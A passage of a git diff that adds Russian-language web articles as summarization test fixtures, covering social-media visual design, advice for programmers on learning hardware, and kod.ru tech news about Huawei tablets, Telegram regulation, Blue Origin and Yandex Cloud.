решающим фактором для удержания внимания аудитории. Если изображение, видео или интерфейс выглядят одинаково хорошо на любом экране, вероятность, что пользователь останется с контентом дольше, заметно возрастает. Почему адаптивность — это не опция, а необходимость Большая часть трафика приходит именно с мобильных устройств, где вертикальные форматы и компактные элементы играют ключевую роль. Если изображение обрезается неправильно или текст выходит за границы экрана, пользователь почти всегда пролистывает дальше. Адаптивная подача контента помогает избежать таких проблем и создаёт комфортное взаимодействие со страницей независимо от устройства. Основные форматы, которые усиливают удержание Вертикальные изображения и видео (9:16). На мобильных устройствах занимают максимум пространства и создают эффект погружения. Квадратные публикации (1:1). Универсальны для ленты и подходят большинству платформ. Горизонтальные форматы (16:9). Идеальны для образовательных и развлекательных роликов, но требуют оптимизации под мобильные устройства. Карусели. Мотивируют пользователя взаимодействовать со слайдерами, увеличивая время просмотра. Инфографика. Позволяет передавать сложные данные в простой визуальной форме. Преимущества адаптивной графики Преимущество Как это влияет на вовлечённость Корректное отображение на любых устройствах Уменьшается вероятность отхода пользователя в первые секунды Быстрая загрузка Пользователь остаётся в ленте и досматривает контент до конца Оптимальный размер изображений Снижается нагрузка на устройство, контент становится комфортнее для просмотра Гибкость в подаче информации Контент подстраивается под формат платформы и остаётся релевантным Комбинация разных форматов как инструмент удержания Наилучшие результаты приносит комбинирование разных типов визуалов. Видео привлекает внимание и увеличивает время просмотра, карусели мотивируют взаимодействовать, а статические дизайны могут быть идеальны для коротких и точных сообщений. Чем разнообразнее подача, тем выше вероятность удержать интерес даже у аудитории с разными предпочтениями. Адаптивная графика и продуманное использование форматов — это фундамент эффективного визуального продвижения. Когда контент выглядит органично на любом экране и подаётся в удобной форме, пользователь не только задерживается дольше, но и чаще ставит лайк, делится публикацией и подписывается на профиль. Как единый стиль бренда усиливает доверие и повышает число подписчиков Единый визуальный стиль — это не просто набор элементов дизайна. Это полноценная система, по которой аудитория узнаёт бренд среди сотен публикаций. Последовательность в оформлении помогает создать прочную ассоциацию между контентом и создателем, что напрямую влияет на доверие и готовность подписываться на канал или страницу. Чем чётче выдержан стиль, тем легче пользователю понять, кто стоит за контентом и чего ожидать в будущем. Почему визуальная идентичность так важна Сегодня пользователи получают огромное количество информации, и внимание становится ограниченным ресурсом. Когда бренд использует единый стиль, аудитория воспринимает его как структурированный, стабильный и профессиональный. А значит, вероятность того, что пользователь задержится на публикации, возрастает. Визуальная идентичность превращает даже простые посты в узнаваемые элементы коммуникации. Основные составляющие единого брендинга Фирменная палитра. Цвета бренда позволяют сразу выделяться в ленте и создавать эмоциональные ассоциации. Типографика. Одинаковые шрифты формируют характер контента и поддерживают визуальную целостность. Графические элементы. Иконки, рамки, паттерны и формы помогают подчеркнуть стиль и сделать публикации узнаваемыми. Обработка фотографий и видео. Фильтры, стиль света, композиция — всё это формирует характер подачи. Структура контента. Повторяющиеся шаблоны, рубрики и формат карточек укрепляют ассоциации. Как единый стиль влияет на вовлечённость Когда пользователи видят узнаваемый стиль, они чаще взаимодействуют с публикацией, так как уже имеют позитивный опыт общения с брендом. Это создаёт эффект привычки: аудитория охотнее ставит лайки, открывает новые посты и делится материалами. К тому же алгоритмы социальных сетей фиксируют стабильную активность и начинают продвигать профиль чаще. Психология доверия через визуальную последовательность Люди склонны доверять тому, что выглядит предсказуемо и профессионально. Если в визуальном стиле нет скачков от ярких агрессивных палитр к минималистичным чёрно-белым схемам, у пользователя формируется ощущение стабильности. А стабильность — основа доверия. Бренд, который выглядит уверенно, вызывает больше внимания и быстрее накапливает аудиторию. Когда визуальный стиль помогает увеличить число подписчиков Ситуация Как помогает единый стиль Активная конкуренция в нише Бренд выделяется ярче и быстрее запоминается Регулярные публикации У аудитории формируется ожидание и привычка возвращаться Перезапуск визуала или бренда Стиль помогает создать чёткий новый образ и перетянуть внимание Работа с рекомендациями Узнаваемость повышает эффективность алгоритмического продвижения В итоге единый визуальный стиль становится мощным инструментом роста подписчиков. Он помогает бренду выглядеть профессионально, усиливает доверие и создаёт долгосрочную основу для стабильной вовлечённости. Насколько публикация полезна? Нажмите на звезду, чтобы оценить! Отправить оценку Средняя оценка 5 / 5. Количество оценок: 1 Оценок пока нет. Поставьте оценку первым. Статьи по теме: Как создать презентацию с помощью нейросети по теме и по готовому тексту? Как включить, использовать или удалить вкладку «Разработчик» в Microsoft Excel ИИ в бизнесе: что это, как работает (ML, NLP, Computer Vision) и как внедрить Зачем IT-специалистам нужны серверы для AI/ML вычислений Просмотров: 0 Категории Вопросы читателей Предыдущая заметка Как создать презентацию с помощью нейросети по теме и по готовому тексту? +============== diff --git a/tests/summarization/https___ip-calculator.ru_blog_ask_zachem-programmistu-razbiratsya-v-zheleze_.txt b/tests/summarization/https___ip-calculator.ru_blog_ask_zachem-programmistu-razbiratsya-v-zheleze_.txt new file mode 100644 index 0000000..d7acbf0 --- /dev/null +++ b/tests/summarization/https___ip-calculator.ru_blog_ask_zachem-programmistu-razbiratsya-v-zheleze_.txt @@ -0,0 +1,2 @@ +Зачем программисту разбираться в железе и как этому научиться tech22 января 20260 Многие программисты отлично пишут код, но теряются, когда компьютер начинает вести себя странно: не стартует система, греется процессор, отваливается сеть или «просто тормозит». В итоге разработчик, который может поднять сервис в облаке, несёт ноутбук в сервис из-за ошибки драйвера. Разбираться в компьютерах — не значит становиться инженером или ремонтником. Это про понимание того, как работает железо, операционная система и софт вместе, где искать причину проблем и как их решать без паники. Для программиста такой навык — не «бонус», а нормальное расширение профессионального кругозора. Как начать разбираться в «железе» и операционках Если вы решили выйти за пределы своего редактора кода, вот несколько проверенных способов прокачать скилл: Соберите ПК своими руками. Это лучший способ понять, как всё устроено. Когда вы сами вставляете процессор в сокет, защелкиваете плашки оперативной памяти и подключаете кабели блока питания, абстрактная схема из учебника превращается в осязаемую систему. Вы сразу поймете разницу между интерфейсами, узнаете, зачем нужна термопаста и как организовать охлаждение. Изучайте архитектуру через ошибки. Не спешите переустанавливать Windows при любом сбое. Попробуйте разобраться: что именно пошло не так? Читайте дампы памяти, изучайте логи в «Просмотре событий», копайтесь в настройках BIOS/UEFI. Каждый исправленный баг системы дает вам +10 к пониманию того, как софт взаимодействует с оборудованием. Экспериментируйте с Linux. Установите его второй системой или на старый ноутбук. Попробуйте настроить драйверы через терминал, разберитесь с монтированием дисков и правами доступа. Linux заставляет лезть «под капот» гораздо чаще, чем привычные macOS или Windows, и это отличная школа для любого айтишника. Следите за рынком комплектующих. Читайте обзоры новых архитектур процессоров и видеокарт. Понимание того, чем отличается P-ядра от E-ядер или как работает кэш-память, напрямую влияет на то, как вы будете проектировать высоконагруженные системы в будущем. Где найти практику и помощь в решении проблемы? Если вы ищете место, где помогут делом, а не просто отправят в поиск, загляните на технический форум Tehnari.ru. Это старейший компьютерный форум, который недавно переехал на новый движок, сохранив при этом гигантскую базу знаний. Чем хороши «Технари»: Никакой коммерции. Форум не связан с магазинами или сервисами. Здесь вам не будут впаривать конкретный бренд под видом совета — отвечают обычные пользователи и опытные модераторы. Разделы на любой вкус. На форуме разбирают всё: от выбора ноутбука и прошивки Android до пайки схем и настройки Windows 11. Помощь новичкам. Здесь есть специальный раздел для тех, кто только начинает разбираться в компьютерах. Можно задать даже самый «глупый» вопрос по железу или драйверам и получить вменяемый ответ. Живое сообщество. Помимо железа, здесь обсуждают программирование, электронику и даже делятся фотографиями своих рабочих мест в «Техноберлоге». Если у вас возникла проблема, просто зарегистрируйтесь и создайте тему. Опишите ситуацию — и сообщество подскажет, куда копать. Итог Стать программисту ещё и хорошим «компьютерщиком» — несложно. Это последовательность практических шагов: собрать, установить, сломать, починить, спросить у тех, кто уже прошёл этот путь. Результат — не только новый скилл, но и более глубокое, целостное понимание машины, для которой вы пишете код. Насколько публикация полезна? Нажмите на звезду, чтобы оценить! Отправить оценку Средняя оценка 5 / 5. Количество оценок: 1 Оценок пока нет. Поставьте оценку первым. Статьи по теме: Как айтишнику выбрать нейросеть: сравнение и выбор моделей Как ИТ-бизнесу защитить свою информационную инфраструктуру Как российским айти-предпринимателям запускать бизнес в Азии без проблем с задержкой, надёжностью и безопасностью Как ИТ-компании защитить свои данные: советы по мониторингу безопасности Просмотров: 12 Категории Вопросы читателей Метки Железо Обучение IT ОС Софт Предыдущая заметка Как айтишнику выбрать нейросеть: сравнение и выбор моделей +============== diff --git a/tests/summarization/https___kod.ru_blue-origin-sputnikovaya-svayz.txt b/tests/summarization/https___kod.ru_blue-origin-sputnikovaya-svayz.txt new file mode 100644 index 0000000..f4b1fe0 --- /dev/null +++ b/tests/summarization/https___kod.ru_blue-origin-sputnikovaya-svayz.txt @@ -0,0 +1,2 @@ +Компания Blue Origin Джеффа Безоса объявила о запуске проекта спутниковой связи TeraWave. Сеть ориентирована не на массового пользователя, а на корпоративных клиентов — дата-центры, госучреждения и крупный бизнес. В группировку войдут 5280 спутников на низкой околоземной орбите со скоростью передачи данных до 144 Гбит/с и ещё 128 спутников на средней орбите — до 6 Тбит/с. Развёртывание начнётся в четвёртом квартале 2027 года, сроки полного завершения проекта не раскрываются. Анонс TeraWave прозвучал спустя несколько месяцев после ребрендинга другого спутникового проекта Безоса Amazon Leo (бывший Project Kuiper), который рассчитан на массовый рынок и более 3000 спутников на НОО. В Blue Origin подчёркивают, что проекты не конкурируют напрямую: TeraWave нацелен на клиентов, которым нужны сверхвысокие скорости и быстрая масштабируемость. Blue Origin также продолжает развивать пусковые услуги. В ноябре 2025 года компания успешно запустила тяжёлую ракету New Glenn и впервые посадила её многоразовую первую ступень. +============== diff --git a/tests/summarization/https___kod.ru_caviar-aladdin.txt b/tests/summarization/https___kod.ru_caviar-aladdin.txt new file mode 100644 index 0000000..8170c92 --- /dev/null +++ b/tests/summarization/https___kod.ru_caviar-aladdin.txt @@ -0,0 +1,2 @@ +Российский бренд Caviar анонсировал разработку кастомного робота Aladdin, выполненного в восточной эстетике. Об этом «Коду Дурова» рассказали в пресс-службе компании. За основу взята модель G1 китайской компании Unitree Robotics. Этот гуманоидный робот предназначен для исследований и демонстраций, оснащён системой стабилизации и способен выполнять сложные движения. Caviar полностью переработал внешний облик базовой модели. Корпус планируется оформить в стиле восточных аристократических одеяний с золотыми орнаментами и вставками из драгоценных камней. Дизайн вдохновлён арабскими мотивами и отсылает к персонажу из сборника «Тысяча и одна ночь». Сказки этого собрания формировались с VIII по XIV век и объединяют фольклор Ближнего Востока, Персии и Индии. В трактовке Caviar образ Аладдина лишён сказочности — магия заменена технологиями. Робот представлен как символ новой аристократии, основанной на контроле над высокими технологиями. Проект позиционируется как концептуальный и создаётся исключительно под индивидуальный заказ. Массовое производство не предусмотрено — это скорее дизайнерский и культурный объект. Стоимость Robot Aladdin составляет $100 тысяч. Сроки изготовления компания сообщает по запросу клиентов. +============== diff --git a/tests/summarization/https___kod.ru_gosduma-shtrafy-vpn.txt b/tests/summarization/https___kod.ru_gosduma-shtrafy-vpn.txt new file mode 100644 index 0000000..f89c272 --- /dev/null +++ b/tests/summarization/https___kod.ru_gosduma-shtrafy-vpn.txt @@ -0,0 +1,2 @@ +В Государственной думе заверили, что штрафы за использование VPN-сервисов обычными пользователями не планируются. Об этом сообщает Интерфакс. Первый заместитель председателя комитета Госдумы по информационной политике Антон Горелкин подчеркнул, что такие меры даже не рассматриваются. По его словам, никаких дополнительных штрафов для граждан вводить не собираются. Депутат напомнил, что в России уголовная ответственность за VPN наступает только при использовании технологии для совершения преступлений. «В России ответственность за VPN грозит лишь тем, кто использует его для совершения преступлений: это считается отягчающим обстоятельством. Также запрещено рекламировать способы обхода блокировок и призывать к их использованию. Никакие другие штрафы не планируются и не обсуждаются» Ранее, летом 2025 года, был принят закон об административной ответственности владельцев VPN-сервисов. Документ также предусматривает штрафы за целенаправленный поиск запрещённых в России материалов, но не затрагивает обычных пользователей. +============== diff --git a/tests/summarization/https___kod.ru_huawei-matepad-11-5-s-2026-predzakaz.txt b/tests/summarization/https___kod.ru_huawei-matepad-11-5-s-2026-predzakaz.txt new file mode 100644 index 0000000..49af9fe --- /dev/null +++ b/tests/summarization/https___kod.ru_huawei-matepad-11-5-s-2026-predzakaz.txt @@ -0,0 +1,2 @@ +Открыт предзаказ на обновлённый планшет Huawei MatePad 11,5 S c экраном PaperMatte для защиты зрения, сообщила «Коду Дурова» пресс-служба МТС. Новинка вместе с экраном PaperMatte получила умную магнитную клавиатуру, а также ИИ-фишки в приложении «Блокнот». В Россию планшет приезжает в зелёном и космическом сером цветах. Что интересного предлагает HUAWEI MatePad 11,5 S? Планшет 2026 года в цельнометаллическом корпусе и с экраном 11,5" позиционируется как устройство для учёбы, быстрого выполнения рабочих задач и творчества. Он имеет толщину 6,1 мм и весит 515 г. Изображение: Huawei // Изображение: Huawei Дисплей получил разрешение 2,8К, частоту обновления 144 Гц и пиковую яркость до 500 нит. Версия с экраном PaperMatte выполнена с технологией нанотравления — она снижает блики и создаёт эффект письма на бумаге. Также поддерживаются стилус Huawei M-Pencil Pro с технологией NearLink и умная магнитная клавиатура. Последняя оснащена клавишами с ходом 1,5 мм и размером 15 мм. Аккумулятор планшета имеет ёмкость 8800 мАч, а также быструю зарядку Huawei SuperCharge мощностью до 40 Вт. Изображение: Huawei // Изображение: Huawei Среди ИИ-фишек в «Блокноте» заявлены распознавание и решение уравнений для обучения, синхронизация текста и аудио, общий буфер обмена между устройствами и работа в режиме разделённого экрана. Также доступен центр ресурсов с шаблонами бумаги, стикерами и обложками. Планшет оснащён компьютерной версией приложения WPS Office, что позволяет использовать его как мобильный офис для работы с документами и презентациями. Сколько стоит Huawei MatePad 11,5 S в России? Изображение: Huawei // Изображение: Huawei MatePad 11,5 S 12+256 ГБ PaperMatte с клавиатурой — 45 990 рублей; MatePad 11,5 S 12+256 ГБ (космический серый) с клавиатурой — 40 990 рублей. В период предзаказа в интернет-магазине c 22 по 29 января МТС предлагает в подарок стилус Huawei M-Pencil 3, мышь и 1 год дополнительной гарантии. Изображение: Huawei // Изображение: Huawei Коммерческий директор розничной сети МТС Алексей Помозов рассказал, что по итогам 2025 года планшеты Huawei занимают 41% продаж в штуках в розничной сети МТС. По его словам, это подтверждает высокий спрос: «Мы уверены, что новый Huawei MatePad 11,5 S укрепит эту позицию и станет одним из самых востребованных планшетов в своем сегменте». Напомним, в отдельном обзоре «Код Дурова» выделил пять фишек Huawei MatePad 11.5"S PaperMatte в версии 2024 года: Huawei MatePad 11.5″ PaperMatte: секрет «бумажного» экрана и скрытые фишки Разбираемся в особенностях Huawei MatePad 11.5″ PaperMatte: уникальный «бумажный» экран, производительная начинка и стиль. Узнайте, как планшет поможет в работе и развлечениях. Код ДуроваВлад Войтенко [Читать далее] Заглавное изображение: Huawei +============== diff --git a/tests/summarization/https___kod.ru_mincifri-analog-call-of-duty.txt b/tests/summarization/https___kod.ru_mincifri-analog-call-of-duty.txt new file mode 100644 index 0000000..9589ad1 --- /dev/null +++ b/tests/summarization/https___kod.ru_mincifri-analog-call-of-duty.txt @@ -0,0 +1,2 @@ +Разработчики отечественного аналога Call of Duty смогут претендовать на налоговые льготы и финансирование через «Институт развития интернета» (ИРИ). Об этом Минцифры сообщило в ответе депутату Госдумы Михаилу Делягину, пишет «Газета.Ru». По оценке самого депутата, разработка такого проекта может обойтись до 10 млрд рублей. В министерстве уточнили, что при подаче заявки в ИРИ на финансирование игры соответствующей тематики она будет рассмотрена в рамках действующих конкурсных процедур. Также в ведомстве напомнили, что в России уже действуют меры господдержки для IT-компаний, включая разработчиков игр. Среди них — пониженная ставка налога на прибыль в размере 5%, сниженные тарифы страховых взносов и частичное освобождение от НДС в ряде случаев. Ранее Делягин предложил создать отечественный шутер AAA-класса — аналог серии Call of Duty, где противниками выступали бы американцы, украинцы и британцы, а не россияне, как, по его словам, в зарубежных играх. Он отмечал, что проект будет крайне дорогим и без существенных налоговых и кредитных льгот его реализация маловероятна. Депутат считает, что видеоигры используются недружественными странами для распространения «русофобской пропаганды», поэтому разработка российского аналога, по его мнению, имеет стратегическое значение. +============== diff --git a/tests/summarization/https___kod.ru_obzor-huawei-matepad-11-5-s-2026.txt b/tests/summarization/https___kod.ru_obzor-huawei-matepad-11-5-s-2026.txt new file mode 100644 index 0000000..8c3b2e2 --- /dev/null +++ b/tests/summarization/https___kod.ru_obzor-huawei-matepad-11-5-s-2026.txt @@ -0,0 +1,2 @@ +Планшеты давно перестали быть просто «большими телефонами». По крайней мере, Huawei уже несколько лет настойчиво двигается в сторону устройств, которые могут заменить ноутбук в повседневных задачах, таких как учёба, работа с документами, заметки, и даже творчество. Huawei MatePad 11,5 S — как раз из этой категории. Я пользовался им несколько недель: писал тексты, читал, работал с документами, играл и смотрел видео. И за это время стало понятно: у этого планшета есть чёткая идея и сильные стороны, которые реально помогают в ежедневной рутине. Технические характеристики Huawei MatePad 11,5 S (2026) Цвета: зелёный, «космический серый». Габариты и вес: 261 × 177,3 × 6,1 мм, 515 г. Экран: 11,5", 2800×1840, IPS, 30-144 Гц, яркость до 500 нит. Камеры:‌‌ Основная — 13 Мп, f/1,8, AF; Фронтальная — 8 Мп, f/2,0. Процессор: 12-ядерный Kirin 9000WL, 7 нм (по неподтверждённым данным). Память и накопитель: 12 ГБ, 256 / 512 ГБ. ОС: Harmony OS 4.3. Аккумулятор: 8800 мАч. Связь: USB-C 3.0, Wi-Fi 6, Bluetooth 5.2, NearLink, OTG. Дополнительно: 4 динамика, поддержка стилуса Huawei M-Pencil 3. Цена в России: от 36 000 рублей (со скидкой на старте). Дизайн и ощущения: тонкий, легкий и «дорогой» Huawei MatePad 11,5 S — один из тех планшетов, которые приятно держать в руках без всяких чехлов. Цельнометаллический корпус, аккуратная обработка граней, минимализм без лишних деталей. Толщина устройства всего 6,1 мм, вес — около 515 граммов. Для довольно крупного устройства это отличный показатель. Планшет выпускается в зелёном и «космическом сером» цветах. Вживую оба выглядят сдержанно и аккуратно, без вычурности. Анодированный алюминий не собирает отпечатки так активно, как глянцевые поверхности, и спустя пару недель использования корпус по-прежнему выглядит опрятно. Отдельно отмечу антенны: здесь нет привычных пластиковых вставок, которые часто портят внешний вид металлических устройств. Huawei использует собственную антенну, что в повседневном использовании просто означает стабильный Wi-Fi без потери связи. Экран PaperMatte: главный аргумент в пользу планшета Экран — это ключевая причина, по которой Huawei MatePad 11,5 S имеет смысл рассматривать к покупке для работы и творчества. Его диагональ составляет 11,5 дюйма, разрешение 2800 × 1840 пикселей, соотношение сторон 3:2, а частота обновления доходит до 144 Гц. Технология — IPS, яркость до 500 нит. Но цифры здесь не главное. Главное — технология PaperMatte. Экран матовый, но не в привычном смысле «наклеили пленку». Поверхность действительно напоминает бумагу: свет не отражается, блики практически отсутствуют, изображение остается читаемым даже у окна или на улице. Я много читал с этого планшета, в том числе статьи, PDF-документы, заметки, не говоря уж про книги. Глаза устают заметно меньше, чем от обычного глянцевого экрана. Фирменным стилусом воспользоваться конкретно с этим планшетом не удалось, но ранее с другими моделями такой опыт был: если им водить по экрану, то появляется легкое сопротивление и характерный «шорох», который неожиданно сильно добавляет ощущение работы с настоящей бумагой. Huawei M-Pencil Pro — один из самых продвинутых стилусов, с которыми мне доводилось работать. У него есть магнитное крепление, беспроводная зарядка, кнопка быстрого доступа, а также жесты сжатия и поворота. Отдельно отмечу разные наконечники: для письма, для мелкого текста и для рисования. Разница между ними действительно ощущается, особенно при длительной работе. При этом качество картинки не страдает. Текст чёткий, цвета насыщенные, белый — действительно белый, без грязных оттенков. В Huawei хорошо поработали над тем, чтобы матовая поверхность не превращала изображение в «мыло». Частота обновления адаптивная — от 30 до 144 Гц. В реальной жизни это означает плавный интерфейс, комфортное рисование и при этом разумный расход батареи. Соотношение сторон 3:2 — неожиданно удобно Формат экрана 3:2 оказался особенно удачным для работы и учёбы. В браузере и документах помещается больше информации по вертикали, а в режиме двух окон планшет выглядит логичнее, чем устройства с более вытянутыми дисплеями. Разделение экрана на два приложения реализовано очень просто: перетаскиваешь окно — и планшет сам предлагает второй слот. Я часто держал слева документ или браузер, справа — «Блокнот». Для заметок и работы с источниками это один из самых удобных вариантов среди планшетов. Блокнот: наконец-то удобные заметки Приложение «Блокнот» здесь не просто для галочки. Huawei серьёзно его доработала, и это чувствуется. Писать в нём удобно, задержка минимальная, линии, даже если писать пальцем, выглядят естественно. Появились разные кисти — от обычного карандаша до каллиграфической. Можно менять толщину, цвет, стиль письма буквально на лету. Особенно понравилась функция улучшения рукописного текста: обводишь написанное, и планшет аккуратно «причёсывает» буквы. Правда, работает эта фича только с английским и китайским языками, так что если вы работаете с иностранными текстами — пробуйте. Для студентов полезной будет функция распознавания уравнений. Пишешь формулу от руки, потом обводишь — и система решает её. Это не всегда работает идеально, но всё же работает. GoPaint: для тех, кто рисует или хочет начать GoPaint — это очень продвинутое приложение для рисования, а не просто «детская рисовалка». Огромное количество кистей, слои, анимация, умная работа с цветами. Даже если вы не художник, пробовать рисовать здесь неожиданно приятно. Экран PaperMatte и стилус делают свое дело: рука не скользит, мазки ощущаются объёмными, а задержка минимальна. Профессионалам здесь будет где развернуться, а новичкам — просто интересно экспериментировать. GoPaint не пытается заменить Procreate напрямую, но для большинства задач, от скетчей до иллюстраций, его возможностей более чем достаточно. Особенно с учетом того, что приложение бесплатное и уже предустановлено. Клавиатура: почти как ноутбук Умная магнитная клавиатура, которая идёт в комплекте, превращает Huawei MatePad 11,5 S в подобие компактного ноутбука. Ход клавиш составляет 1,5 мм, печатать удобно, раскладка привычная. Клавиатуру можно отсоединить и работать на расстоянии. Удобно, если планшет стоит на столе на подставке. Поддержка горячих клавиш и работа с мышью делают этот комплект вполне рабочим инструментом для текстов, презентаций и таблиц. Клавиатура в случае с моим тестовым сэмплом не русифицирована, но в российской рознице с этим будет порядок. Производительность и автономность На борту, по неподтверждённым данным, фирменный 12-ядерный процессор Kirin 9000WL с графикой Maleoon 910. Чип не флагманский, и это важно понимать. Huawei MatePad 11,5 S не создан для тяжёлых игр или сложного 3D-монтажа. Зато для браузера, видео, документов, заметок и даже работы с короткими видеороликами его хватает с запасом. Система работает плавно, интерфейс не дёргается, приложения не выгружаются из памяти. За несколько недель я ни разу не столкнулся с критическими тормозами. Батарея на 8800 мАч спокойно выдерживает полный рабочий день. У меня получалось около 10–12 часов смешанного использования. Быстрая зарядка на 40 Вт присутствует, полностью восполнить заряд можно менее чем за полтора часа. Камеры и звук Камеры здесь скорее утилитарные: 13 МП основная и 8 МП фронтальная. Для сканов документов, видеозвонков и учебных созвонов — более чем достаточно. А вот звук приятно удивил. Четыре динамика с поддержкой Huawei Histen 9.0 дают громкий, объёмный и насыщенный звук. Смотреть фильмы и сериалы на этом планшете действительно приятно. Итоги: для кого Huawei MatePad 11,5 S Проведя несколько недель с Huawei MatePad 11,5 S, могу точно сказать для кого и для чего предназначен этот планшет: для студентов и школьников; для тех, кто много читает и пишет; для работы с документами и заметками; для рисования и творчества; для тех, кому важен комфорт для глаз. Это не игровой планшет и не замена мощному ноутбуку. Но как универсальный инструмент для учёбы, работы и повседневных задач — он один из самых интересных вариантов в своем классе. Главное здесь экран PaperMatte. Именно он делает Huawei MatePad 11,5 S не просто очередным планшетом, а устройством, которым действительно хочется пользоваться каждый день. Huawei MatePad 11,5 S поступает в продажу 22 января. Цены: Huawei MatePad 11,5 S PaperMatte 12+256 ГБ (+ клавиатура) — 45 000 рублей. Huawei MatePad 11,5 S PaperMatte 12+512 ГБ — 43 000 рублей. Huawei MatePad 11,5 S 12+256 ГБ (+ клавиатура) — 40 000 рублей. На старте (до 29 января) в крупной рознице будут доступны различные бонусы для «ранних пташек»: дополнительная скидка 10%, стилус Huawei M-Pencil 3, беспроводная мышь, 1 год дополнительной гарантии и некий «секретный приз» (что бы это ни значило). +============== diff --git a/tests/summarization/https___kod.ru_open-letter-to-pavel-durov.txt b/tests/summarization/https___kod.ru_open-letter-to-pavel-durov.txt new file mode 100644 index 0000000..7138651 --- /dev/null +++ b/tests/summarization/https___kod.ru_open-letter-to-pavel-durov.txt @@ -0,0 +1,2 @@ +Вице-спикер Госдумы Владислав Даванков призвал граждан подписать открытое письмо к Павлу Дурову с призывом открыть представительство Telegram в России. По уверениям Даванкова, открытие представительства является формальным, но ключевым требованием российского законодательства. «Чаще всего чиновники объясняют блокировки тем, что у соцсети нет представительства в России — и значит, не с кем выстраивать диалог. Если Telegram выполнит это требование, то лишит Роскомнадзор оснований для блокировки», — объясняет депутат. Подписи к открытому письму к главе Telegram вице-спикер Госдумы собирает через Telegram-бота @newpeople_vote_bot с названием «#ТелеграмЖиви». Всего за полчаса после начала сбора подписей в боте свою подпись оставили несколько тысяч человек. В этом же боте подпись против блокировки Telegram за это время уже успели поставить почти 40 000 человек. Господин Даванков подчеркнул, что относится к Павлу Дурову и к тому, что он сделал для развития интернета во всем мире «с большим уважением»: «Думаю, что наши ценности в отношении свободы слова и цифровых прав сходятся. И если офис Telegram в России защитит эти ценности, это будет правильный шаг». Вечером 21 января заместитель председателя Совета по развитию цифровой экономики при Совете Федерации Артём Шейкин заявил, что в России последовательно вводят меры против Telegram: «Telegram не выполняет требования, направленные на предупреждение и пресечение совершения преступлений на территории РФ», — рассказал сенатор. Заявление о последовательном введении мер в отношении мессенджера в комментарии «Осторожно Media» Роскомнадзор назвал «исчерпывающим». Код Дурова ⚡️ Скорость Telegram снизилась из-за блокировки звонков? У части российских пользователей стало больше проблем с выгрузкой и загрузкой медиафайлов, выяснил «Код Дурова». 💘 Тесты показывают, что выгрузка и отправка большого файла порой при переходе на иностранный IP-адрес существенно быстрее, чем… Telegram [Читать далее] В пятницу «Код Дурова» продемонстрировал, что выгрузка и отправка большого файла при переходе на иностранный IP-адрес существенно быстрее, чем на российском. К тому дню жалоб на скорость загрузки и выгрузки файлов со стороны россиян стало заметно больше. +============== diff --git a/tests/summarization/https___kod.ru_reestr-kuriery.txt b/tests/summarization/https___kod.ru_reestr-kuriery.txt new file mode 100644 index 0000000..58e92d2 --- /dev/null +++ b/tests/summarization/https___kod.ru_reestr-kuriery.txt @@ -0,0 +1,2 @@ +Департамент транспорта Москвы разрабатывает законопроект о регулировании курьерской деятельности, сообщает РБК. Документ предусматривает создание федеральных и региональных реестров участников рынка. В рамках новой системы будут созданы два типа реестров. Федеральный реестр охватит курьерские организации, а региональные — самих курьеров с их паспортными данными и информацией о транспорте. Каждый курьер получит персональный идентификатор и рейтинг. Включение в реестр останется бесплатным, но потребует соблюдения ряда условий. В частности, курьеров обяжут соблюдать правила ПДД, проходить медосмотры и фотоконтроль перед сменами. Нарушителей правил дорожного движения будут блокировать. Курьерам, не желающим регистрироваться в реестре, будет запрещено доставлять заказы. Курьерские компании обяжут допускать к работе только зарегистрированных сотрудников. Они должны будут вести журналы заказов и отслеживать местоположение курьеров в режиме реального времени. Платформы для заказов получат дополнительные обязанности по проверке регистрации курьеров и организации документооборота. Их также обяжут страховать ответственность и блокировать нарушителей. За несоблюдение новых требований планируется ввести штрафные санкции. При работе с незарегистрированными курьерами агрегаторы будут нести солидарную ответственность за возмещение ущерба. В материале отмечается, что регулирование вступит в силу с 1 сентября 2027 года, однако не уточняется размер штрафов. +============== diff --git a/tests/summarization/https___kod.ru_telegram-op-ogranicheniya.txt b/tests/summarization/https___kod.ru_telegram-op-ogranicheniya.txt new file mode 100644 index 0000000..91aa540 --- /dev/null +++ b/tests/summarization/https___kod.ru_telegram-op-ogranicheniya.txt @@ -0,0 +1,2 @@ +Член комиссии Общественной палаты РФ Евгений Машаров призвал продолжить ограничительные меры против мессенджера Telegram в случае игнорирования российского законодательства. Об этом сообщает ТАСС. Евгений Машаров подчеркнул, что администрация мессенджера должна соблюдать требования отечественного законодательства. По его словам, проблема не ограничивается обычными сообщениями и звонками. В приложении активно функционируют группы с противоправным содержанием, включая онлайн-казино и приём спортивных ставок. Представитель Общественной палаты рекомендовал максимально широко использовать российский мессенджер MAX. Машаров отметил главные преимущества отечественной платформы — безопасность и высокое качество связи. Ранее Роскомнадзор уже принял меры против Telegram, ограничив функцию голосовых вызовов в августе прошлого года. Ведомство объяснило решение использованием мессенджера для мошенничества и киберпреступлений. Россияне подписывают открытое письмо к Павлу Дурову с призывом открыть представительство Telegram в России Вице-спикер Госдумы Владислав Даванков призвал граждан подписать открытое письмо к Павлу Дурову с призывом открыть представительство Telegram в России. Код ДуроваВлад Войтенко [Читать далее] +============== diff --git a/tests/summarization/https___kod.ru_yandex-b2btech-postgresql.txt b/tests/summarization/https___kod.ru_yandex-b2btech-postgresql.txt new file mode 100644 index 0000000..3f3e6f6 --- /dev/null +++ b/tests/summarization/https___kod.ru_yandex-b2btech-postgresql.txt @@ -0,0 +1,2 @@ +Yandex B2B Tech представила управляемый сервис Sharded PostgreSQL, который решает проблему горизонтального масштабирования популярной базы данных. Об этом «Коду Дурова» сообщили в пресс-службе компании. PostgreSQL по умолчанию не поддерживает горизонтальное масштабирование — добавление новых серверов для распределения нагрузки. Это создаёт ограничения для компаний, которым нужно обрабатывать большие объёмы данных. Новый сервис позволяет банкам и ecommerce-компаниям масштабировать системы по мере роста бизнеса. Технология уже используется в продуктах самого Яндекса — Яндекс ID, Яндекс Пэй и сервисе «Едадил». Согласно исследованию Stack Overflow 2025, PostgreSQL остаётся самой популярной системой управления базами данных среди 55,6% профессиональных разработчиков. Управляемый сервис PostgreSQL от Yandex Cloud используют свыше 5 тысяч компаний. Среди клиентов — девелопер «Самолёт», маркетплейс ЦИАН, автосервис Pango Cars и металлургическая компания «Русполимет». В 2025 году количество пользователей сервиса выросло на 15%. Новое решение позволяет сократить время вывода продуктов на рынок в 3-4 раза. Компании могут сэкономить до 15 миллионов рублей на этапе запуска высоконагруженных продуктов. Сервис доступен в облачной платформе Yandex Cloud по запросу. +============== diff --git a/tests/summarization/https___lambdaland.org_posts_2026-01-21_tree-sitter_vs_lsp_.txt 